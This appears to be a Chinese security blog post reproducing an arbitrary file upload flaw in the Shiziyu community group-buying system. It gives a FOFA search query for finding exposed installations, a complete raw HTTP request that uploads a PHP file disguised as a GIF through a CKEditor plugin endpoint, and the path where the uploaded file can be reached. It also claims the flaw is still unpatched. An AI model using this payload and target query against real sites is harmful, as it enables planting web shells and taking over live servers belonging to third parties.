狮子鱼前台任意文件上传复现

狮子鱼前台任意文件上传复现

网站系统为狮子鱼社区团购系统,网上用的也比较多,我fofa上搜了一下,大概有6-7千多。主要用户各种购物,本文主要介绍其中两个文件上传漏洞,漏洞复现以及漏洞工具分享。

FoFa语句

1
"/seller.php?s=/Public/login"

Payload

1
2
3
4
5
6
7
8
9
10
11
12
POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1
Host: ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Connection: close
Content-Length: 206

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="shenye.php"
Content-Type: image/gif

<?php echo('shenye');?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—

接着在当前路径可以发现上传成功

1
/Common/image/uploads/163*****365.php

文中Exp编写关注下方公众号回复“shiziyu”获取

发现目前依旧存在此漏洞,仅限学习研究

本文标题:狮子鱼前台任意文件上传复现

文章作者:孤桜懶契

发布时间:2021年12月13日 - 22:42:01

最后更新:2022年05月24日 - 21:00:57

原始链接:http://gylq.gitee.io/time/posts/6.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------